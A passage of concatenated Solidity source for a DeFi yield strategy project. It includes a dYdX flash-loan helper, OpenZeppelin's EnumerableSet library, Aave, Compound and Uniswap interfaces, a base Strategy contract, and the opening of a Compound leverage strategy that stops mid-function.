ISoloMargin(SOLO).operate(accountInfos, operations); _amount = _amountDesired; } /// @dev DyDx calls this function after doing flash loan function callFunction( address _sender, Account.Info memory, /* _account */ bytes memory _callData ) external { (bytes memory _data, uint256 _repayAmount) = abi.decode(_callData, (bytes, uint256)); require(msg.sender == SOLO, "!solo"); require(_sender == address(this), "invalid-initiator"); _flashLoanLogic(_data, _repayAmount); } /********************************* DyDx helper functions *********************************/ function _getAccountInfo() internal view returns (Account.Info memory) { return Account.Info({owner: address(this), number: 1}); } function _getMarketIdFromTokenAddress(address _solo, address token) internal view returns (uint256) { ISoloMargin solo = ISoloMargin(_solo); uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("no-marketId-found-for-token"); } function _getWithdrawAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } /***************************** DyDx flash loan functions end *****************************/ } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function _values(Set storage set) private view returns (bytes32[] memory) { return set._values; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(Bytes32Set storage set) internal view returns (bytes32[] memory) { return _values(set._inner); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(AddressSet storage set) internal view returns (address[] memory) { bytes32[] memory store = _values(set._inner); address[] memory result; assembly { result := store } return result; } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } /** * @dev Return the entire set in an array * * WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed * to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that * this function has an unbounded cost, and using it as part of a state-changing function may render the function * uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block. */ function values(UintSet storage set) internal view returns (uint256[] memory) { bytes32[] memory store = _values(set._inner); uint256[] memory result; assembly { result := store } return result; } } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface AaveLendingPoolAddressesProvider { function getLendingPool() external view returns (address); function getAddress(bytes32 id) external view returns (address); } interface AToken is IERC20 { /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (address); } interface AaveIncentivesController { function getRewardsBalance(address[] calldata assets, address user) external view returns (uint256); function claimRewards( address[] calldata assets, uint256 amount, address to ) external returns (uint256); } interface AaveLendingPool { function deposit( address asset, uint256 amount, address onBehalfOf, uint16 referralCode ) external; function withdraw( address asset, uint256 amount, address to ) external returns (uint256); function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } interface AaveProtocolDataProvider { function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ); function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ); } //solhint-disable func-name-mixedcase interface StakedAave is IERC20 { function claimRewards(address to, uint256 amount) external; function cooldown() external; function stake(address onBehalfOf, uint256 amount) external; function redeem(address to, uint256 amount) external; function getTotalRewardsBalance(address staker) external view returns (uint256); function stakersCooldowns(address staker) external view returns (uint256); function COOLDOWN_SECONDS() external view returns (uint256); function UNSTAKE_WINDOW() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /* solhint-disable func-name-mixedcase */ import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol"; interface ISwapManager { event OracleCreated(address indexed _sender, address indexed _newOracle, uint256 _period); function N_DEX() external view returns (uint256); function ROUTERS(uint256 i) external view returns (IUniswapV2Router02); function bestOutputFixedInput( address _from, address _to, uint256 _amountIn ) external view returns ( address[] memory path, uint256 amountOut, uint256 rIdx ); function bestPathFixedInput( address _from, address _to, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function bestInputFixedOutput( address _from, address _to, uint256 _amountOut ) external view returns ( address[] memory path, uint256 amountIn, uint256 rIdx ); function bestPathFixedOutput( address _from, address _to, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function safeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsOut( uint256 _amountIn, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function safeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function unsafeGetAmountsIn( uint256 _amountOut, address[] memory _path, uint256 _i ) external view returns (uint256[] memory result); function comparePathsFixedInput( address[] memory pathA, address[] memory pathB, uint256 _amountIn, uint256 _i ) external view returns (address[] memory path, uint256 amountOut); function comparePathsFixedOutput( address[] memory pathA, address[] memory pathB, uint256 _amountOut, uint256 _i ) external view returns (address[] memory path, uint256 amountIn); function ours(address a) external view returns (bool); function oracleCount() external view returns (uint256); function oracleAt(uint256 idx) external view returns (address); function getOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external view returns (address); function createOrUpdateOracle( address _tokenA, address _tokenB, uint256 _period, uint256 _i ) external returns (address oracleAddr); function consultForFree( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external view returns (uint256 amountOut, uint256 lastUpdatedAt); /// get the data we want and pay the gas to update function consult( address _from, address _to, uint256 _amountIn, uint256 _period, uint256 _i ) external returns ( uint256 amountOut, uint256 lastUpdatedAt, bool updated ); function updateOracles() external returns (uint256 updated, uint256 expected); function updateOracles(address[] memory _oracleAddrs) external returns (uint256 updated, uint256 expected); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface CToken { function accrueInterest() external returns (uint256); function balanceOf(address owner) external view returns (uint256); function balanceOfUnderlying(address owner) external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); function borrow(uint256 borrowAmount) external returns (uint256); function mint() external payable; // For ETH function mint(uint256 mintAmount) external returns (uint256); // For ERC20 function redeem(uint256 redeemTokens) external returns (uint256); function redeemUnderlying(uint256 redeemAmount) external returns (uint256); function repayBorrow() external payable; // For ETH function repayBorrow(uint256 repayAmount) external returns (uint256); // For ERC20 function transfer(address user, uint256 amount) external returns (bool); function getCash() external view returns (uint256); function transferFrom( address owner, address user, uint256 amount ) external returns (bool); function underlying() external view returns (address); } interface Comptroller { function claimComp(address holder, address[] memory) external; function enterMarkets(address[] memory cTokens) external returns (uint256[] memory); function exitMarket(address cToken) external returns (uint256); function compAccrued(address holder) external view returns (uint256); function getAccountLiquidity(address account) external view returns ( uint256, uint256, uint256 ); function markets(address market) external view returns ( bool isListed, uint256 collateralFactorMantissa, bool isCompted ); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; /** In order to keep code/files short, all libraries and interfaces are trimmed as per Vesper need */ library Account { enum Status {Normal, Liquid, Vapor} struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } } interface ISoloMargin { function getMarketTokenAddress(uint256 marketId) external view returns (address); function getNumMarkets() external view returns (uint256); function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; } /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ interface ICallee { // ============ Public Functions ============ /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; // Interface to use 3rd party Uniswap V3 oracle utility contract deployed at https://etherscan.io/address/0x0f1f5a87f99f0918e6c81f16e59f3518698221ff#code /// @title UniswapV3 oracle with ability to query across an intermediate liquidity pool interface IUniswapV3Oracle { function assetToEth( address _tokenIn, uint256 _amountIn, uint32 _twapPeriod ) external view returns (uint256 ethAmountOut); function ethToAsset( uint256 _ethAmountIn, address _tokenOut, uint32 _twapPeriod ) external view returns (uint256 amountOut); function assetToAsset( address _tokenIn, uint256 _amountIn, address _tokenOut, uint32 _twapPeriod ) external view returns (uint256 amountOut); function assetToAssetThruRoute( address _tokenIn, uint256 _amountIn, address _tokenOut, uint32 _twapPeriod, address _routeThruToken, uint24[2] memory _poolFees ) external view returns (uint256 amountOut); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface TokenLike is IERC20 { function deposit() external payable; function withdraw(uint256) external; } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; interface IStrategy { function rebalance() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function feeCollector() external view returns (address); function isReservedToken(address _token) external view returns (bool); function keepers() external view returns (address[] memory); function migrate(address _newStrategy) external; function token() external view returns (address); function totalValue() external view returns (uint256); function totalValueCurrent() external returns (uint256); function pool() external view returns (address); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IVesperPool is IERC20 { function deposit() external payable; function deposit(uint256 _share) external; function multiTransfer(address[] memory _recipients, uint256[] memory _amounts) external returns (bool); function excessDebt(address _strategy) external view returns (uint256); function permit( address, address, uint256, uint256, uint8, bytes32, bytes32 ) external; function poolRewards() external returns (address); function reportEarning( uint256 _profit, uint256 _loss, uint256 _payback ) external; function reportLoss(uint256 _loss) external; function resetApproval() external; function sweepERC20(address _fromToken) external; function withdraw(uint256 _amount) external; function withdrawETH(uint256 _amount) external; function whitelistedWithdraw(uint256 _amount) external; function governor() external view returns (address); function keepers() external view returns (address[] memory); function isKeeper(address _address) external view returns (bool); function maintainers() external view returns (address[] memory); function isMaintainer(address _address) external view returns (bool); function feeCollector() external view returns (address); function pricePerShare() external view returns (uint256); function strategy(address _strategy) external view returns ( bool _active, uint256 _interestFee, uint256 _debtRate, uint256 _lastRebalance, uint256 _totalDebt, uint256 _totalLoss, uint256 _totalProfit, uint256 _debtRatio ); function stopEverything() external view returns (bool); function token() external view returns (IERC20); function tokensHere() external view returns (uint256); function totalDebtOf(address _strategy) external view returns (uint256); function totalValue() external view returns (uint256); function withdrawFee() external view returns (uint256); // Function to get pricePerShare from V2 pools function getPricePerShare() external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.8.3; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Context.sol"; import "../dependencies/openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../interfaces/bloq/ISwapManager.sol"; import "../interfaces/vesper/IStrategy.sol"; import "../interfaces/vesper/IVesperPool.sol"; abstract contract Strategy is IStrategy, Context { using SafeERC20 for IERC20; using EnumerableSet for EnumerableSet.AddressSet; address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; uint256 internal constant MAX_UINT_VALUE = type(uint256).max; // solhint-disable-next-line var-name-mixedcase address internal WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IERC20 public immutable collateralToken; address public receiptToken; address public immutable override pool; address public override feeCollector; ISwapManager public swapManager; uint256 public oraclePeriod = 3600; // 1h uint256 public oracleRouterIdx = 0; // Uniswap V2 uint256 public swapSlippage = 10000; // 100% Don't use oracles by default EnumerableSet.AddressSet private _keepers; event UpdatedFeeCollector(address indexed previousFeeCollector, address indexed newFeeCollector); event UpdatedSwapManager(address indexed previousSwapManager, address indexed newSwapManager); event UpdatedSwapSlippage(uint256 oldSwapSlippage, uint256 newSwapSlippage); event UpdatedOracleConfig(uint256 oldPeriod, uint256 newPeriod, uint256 oldRouterIdx, uint256 newRouterIdx); constructor( address _pool, address _swapManager, address _receiptToken ) { require(_pool != address(0), "pool-address-is-zero"); require(_swapManager != address(0), "sm-address-is-zero"); swapManager = ISwapManager(_swapManager); pool = _pool; collateralToken = IVesperPool(_pool).token(); receiptToken = _receiptToken; require(_keepers.add(_msgSender()), "add-keeper-failed"); } modifier onlyGovernor { require(_msgSender() == IVesperPool(pool).governor(), "caller-is-not-the-governor"); _; } modifier onlyKeeper() { require(_keepers.contains(_msgSender()), "caller-is-not-a-keeper"); _; } modifier onlyPool() { require(_msgSender() == pool, "caller-is-not-vesper-pool"); _; } /** * @notice Add given address in keepers list. * @param _keeperAddress keeper address to add. */ function addKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.add(_keeperAddress), "add-keeper-failed"); } /// @notice Return list of keepers function keepers() external view override returns (address[] memory) { return _keepers.values(); } /** * @notice Migrate all asset and vault ownership,if any, to new strategy * @dev _beforeMigration hook can be implemented in child strategy to do extra steps. * @param _newStrategy Address of new strategy */ function migrate(address _newStrategy) external virtual override onlyPool { require(_newStrategy != address(0), "new-strategy-address-is-zero"); require(IStrategy(_newStrategy).pool() == pool, "not-valid-new-strategy"); _beforeMigration(_newStrategy); IERC20(receiptToken).safeTransfer(_newStrategy, IERC20(receiptToken).balanceOf(address(this))); collateralToken.safeTransfer(_newStrategy, collateralToken.balanceOf(address(this))); } /** * @notice Remove given address from keepers list. * @param _keeperAddress keeper address to remove. */ function removeKeeper(address _keeperAddress) external onlyGovernor { require(_keepers.remove(_keeperAddress), "remove-keeper-failed"); } /** * @notice Update fee collector * @param _feeCollector fee collector address */ function updateFeeCollector(address _feeCollector) external onlyGovernor { require(_feeCollector != address(0), "fee-collector-address-is-zero"); require(_feeCollector != feeCollector, "fee-collector-is-same"); emit UpdatedFeeCollector(feeCollector, _feeCollector); feeCollector = _feeCollector; } /** * @notice Update swap manager address * @param _swapManager swap manager address */ function updateSwapManager(address _swapManager) external onlyGovernor { require(_swapManager != address(0), "sm-address-is-zero"); require(_swapManager != address(swapManager), "sm-is-same"); emit UpdatedSwapManager(address(swapManager), _swapManager); swapManager = ISwapManager(_swapManager); } function updateSwapSlippage(uint256 _newSwapSlippage) external onlyGovernor { require(_newSwapSlippage <= 10000, "invalid-slippage-value"); emit UpdatedSwapSlippage(swapSlippage, _newSwapSlippage); swapSlippage = _newSwapSlippage; } function updateOracleConfig(uint256 _newPeriod, uint256 _newRouterIdx) external onlyGovernor { require(_newRouterIdx < swapManager.N_DEX(), "invalid-router-index"); if (_newPeriod == 0) _newPeriod = oraclePeriod; require(_newPeriod > 59, "invalid-oracle-period"); emit UpdatedOracleConfig(oraclePeriod, _newPeriod, oracleRouterIdx, _newRouterIdx); oraclePeriod = _newPeriod; oracleRouterIdx = _newRouterIdx; } /// @dev Approve all required tokens function approveToken() external onlyKeeper { _approveToken(0); _approveToken(MAX_UINT_VALUE); } function setupOracles() external onlyKeeper { _setupOracles(); } /** * @dev Withdraw collateral token from lending pool. * @param _amount Amount of collateral token */ function withdraw(uint256 _amount) external override onlyPool { _withdraw(_amount); } /** * @dev Rebalance profit, loss and investment of this strategy */ function rebalance() external virtual override onlyKeeper { (uint256 _profit, uint256 _loss, uint256 _payback) = _generateReport(); IVesperPool(pool).reportEarning(_profit, _loss, _payback); _reinvest(); } /** * @dev sweep given token to feeCollector of strategy * @param _fromToken token address to sweep */ function sweepERC20(address _fromToken) external override onlyKeeper { require(feeCollector != address(0), "fee-collector-not-set"); require(_fromToken != address(collateralToken), "not-allowed-to-sweep-collateral"); require(!isReservedToken(_fromToken), "not-allowed-to-sweep"); if (_fromToken == ETH) { Address.sendValue(payable(feeCollector), address(this).balance); } else { uint256 _amount = IERC20(_fromToken).balanceOf(address(this)); IERC20(_fromToken).safeTransfer(feeCollector, _amount); } } /// @notice Returns address of token correspond to collateral token function token() external view override returns (address) { return receiptToken; } /** * @notice Calculate total value of asset under management * @dev Report total value in collateral token */ function totalValue() public view virtual override returns (uint256 _value); /** * @notice Calculate total value of asset under management (in real-time) * @dev Report total value in collateral token */ function totalValueCurrent() external virtual override returns (uint256) { return totalValue(); } /// @notice Check whether given token is reserved or not. Reserved tokens are not allowed to sweep. function isReservedToken(address _token) public view virtual override returns (bool); /** * @notice some strategy may want to prepare before doing migration. Example In Maker old strategy want to give vault ownership to new strategy * @param _newStrategy . */ function _beforeMigration(address _newStrategy) internal virtual; /** * @notice Generate report for current profit and loss. Also liquidate asset to payback * excess debt, if any. * @return _profit Calculate any realized profit and convert it to collateral, if not already. * @return _loss Calculate any loss that strategy has made on investment. Convert into collateral token. * @return _payback If strategy has any excess debt, we have to liquidate asset to payback excess debt. */ function _generateReport() internal virtual returns ( uint256 _profit, uint256 _loss, uint256 _payback ) { uint256 _excessDebt = IVesperPool(pool).excessDebt(address(this)); uint256 _totalDebt = IVesperPool(pool).totalDebtOf(address(this)); _profit = _realizeProfit(_totalDebt); _loss = _realizeLoss(_totalDebt); _payback = _liquidate(_excessDebt); } function _calcAmtOutAfterSlippage(uint256 _amount, uint256 _slippage) internal pure returns (uint256) { return (_amount * (10000 - _slippage)) / (10000); } function _simpleOraclePath(address _from, address _to) internal view returns (address[] memory path) { if (_from == WETH || _to == WETH) { path = new address[](2); path[0] = _from; path[1] = _to; } else { path = new address[](3); path[0] = _from; path[1] = WETH; path[2] = _to; } } function _consultOracle( address _from, address _to, uint256 _amt ) internal returns (uint256, bool) { for (uint256 i = 0; i < swapManager.N_DEX(); i++) { (bool _success, bytes memory _returnData) = address(swapManager).call( abi.encodePacked(swapManager.consult.selector, abi.encode(_from, _to, _amt, oraclePeriod, i)) ); if (_success) { (uint256 rate, uint256 lastUpdate, ) = abi.decode(_returnData, (uint256, uint256, bool)); if ((lastUpdate > (block.timestamp - oraclePeriod)) && (rate != 0)) return (rate, true); return (0, false); } } return (0, false); } function _getOracleRate(address[] memory path, uint256 _amountIn) internal returns (uint256 amountOut) { require(path.length > 1, "invalid-oracle-path"); amountOut = _amountIn; bool isValid; for (uint256 i = 0; i < path.length - 1; i++) { (amountOut, isValid) = _consultOracle(path[i], path[i + 1], amountOut); require(isValid, "invalid-oracle-rate"); } } /** * @notice Safe swap via Uniswap / Sushiswap (better rate of the two) * @dev There are many scenarios when token swap via Uniswap can fail, so this * method will wrap Uniswap call in a 'try catch' to make it fail safe. * however, this method will throw minAmountOut is not met * @param _from address of from token * @param _to address of to token * @param _amountIn Amount to be swapped * @param _minAmountOut minimum amount out */ function _safeSwap( address _from, address _to, uint256 _amountIn, uint256 _minAmountOut ) internal { (address[] memory path, uint256 amountOut, uint256 rIdx) = swapManager.bestOutputFixedInput(_from, _to, _amountIn); if (_minAmountOut == 0) _minAmountOut = 1; if (amountOut != 0) { swapManager.ROUTERS(rIdx).swapExactTokensForTokens( _amountIn, _minAmountOut, path, address(this), block.timestamp ); } } // These methods can be implemented by the inheriting strategy. /* solhint-disable no-empty-blocks */ function _claimRewardsAndConvertTo(address _toToken) internal virtual {} /** * @notice Set up any oracles that are needed for this strategy. */ function _setupOracles() internal virtual {} /* solhint-enable */ // These methods must be implemented by the inheriting strategy function _withdraw(uint256 _amount) internal virtual; function _approveToken(uint256 _amount) internal virtual; /** * @notice Withdraw collateral to payback excess debt in pool. * @param _excessDebt Excess debt of strategy in collateral token * @return _payback amount in collateral token. Usually it is equal to excess debt. */ function _liquidate(uint256 _excessDebt) internal virtual returns (uint256 _payback); /** * @notice Calculate earning and withdraw/convert it into collateral token. * @param _totalDebt Total collateral debt of this strategy * @return _profit Profit in collateral token */ function _realizeProfit(uint256 _totalDebt) internal virtual returns (uint256 _profit); /** * @notice Calculate loss * @param _totalDebt Total collateral debt of this strategy * @return _loss Realized loss in collateral token */ function _realizeLoss(uint256 _totalDebt) internal virtual returns (uint256 _loss); /** * @notice Reinvest collateral. * @dev Once we file report back in pool, we might have some collateral in hand * which we want to reinvest aka deposit in lender/provider. */ function _reinvest() internal virtual; } // SPDX-License-Identifier: GNU LGPLv3 // Heavily inspired from CompoundLeverage strategy of Yearn. https://etherscan.io/address/0x4031afd3B0F71Bace9181E554A9E680Ee4AbE7dF#code pragma solidity 0.8.3; import "../Strategy.sol"; import "../../interfaces/compound/ICompound.sol"; import "../../interfaces/oracle/IUniswapV3Oracle.sol"; import "../../FlashLoanHelper.sol"; /// @title This strategy will deposit collateral token in Compound and based on position /// it will borrow same collateral token. It will use borrowed asset as supply and borrow again. contract CompoundLeverageStrategy is Strategy, FlashLoanHelper { using SafeERC20 for IERC20; // solhint-disable-next-line var-name-mixedcase string public NAME; string public constant VERSION = "4.0.0"; uint256 internal constant MAX_BPS = 10_000; //100% uint256 public minBorrowRatio = 5_000; // 50% uint256 public maxBorrowRatio = 6_000; // 60% CToken internal cToken; IUniswapV3Oracle internal constant ORACLE = IUniswapV3Oracle(0x0F1f5A87f99f0918e6C81F16E59F3518698221Ff); uint32 internal constant TWAP_PERIOD = 3600; Comptroller public immutable comptroller; address public immutable rewardToken; address public rewardDistributor; event UpdatedBorrowRatio( uint256 previousMinBorrowRatio, uint256 newMinBorrowRatio, uint256 previousMaxBorrowRatio, uint256 newMaxBorrowRatio ); constructor( address _pool, address _swapManager, address _comptroller, address _rewardDistributor, address _rewardToken, address _aaveAddressesProvider, address _receiptToken, string memory _name ) Strategy(_pool, _swapManager, _receiptToken) FlashLoanHelper(_aaveAddressesProvider) { NAME = _name; require(_comptroller != address(0), "comptroller-address-is-zero"); comptroller = Comptroller(_comptroller); rewardToken = _rewardToken; require(_receiptToken != address(0), "cToken-address-is-zero"); cToken = CToken(_receiptToken); require(_rewardDistributor != address(0), "invalid-reward-distributor-addr"); rewardDistributor = _rewardDistributor; } /** * @notice Update upper and lower borrow ratio * @dev It is possible to set 0 as _minBorrowRatio to not borrow anything * @param _minBorrowRatio Minimum % we want to borrow * @param _maxBorrowRatio Maximum % we want to borrow */ function updateBorrowRatio(uint256 _minBorrowRatio, 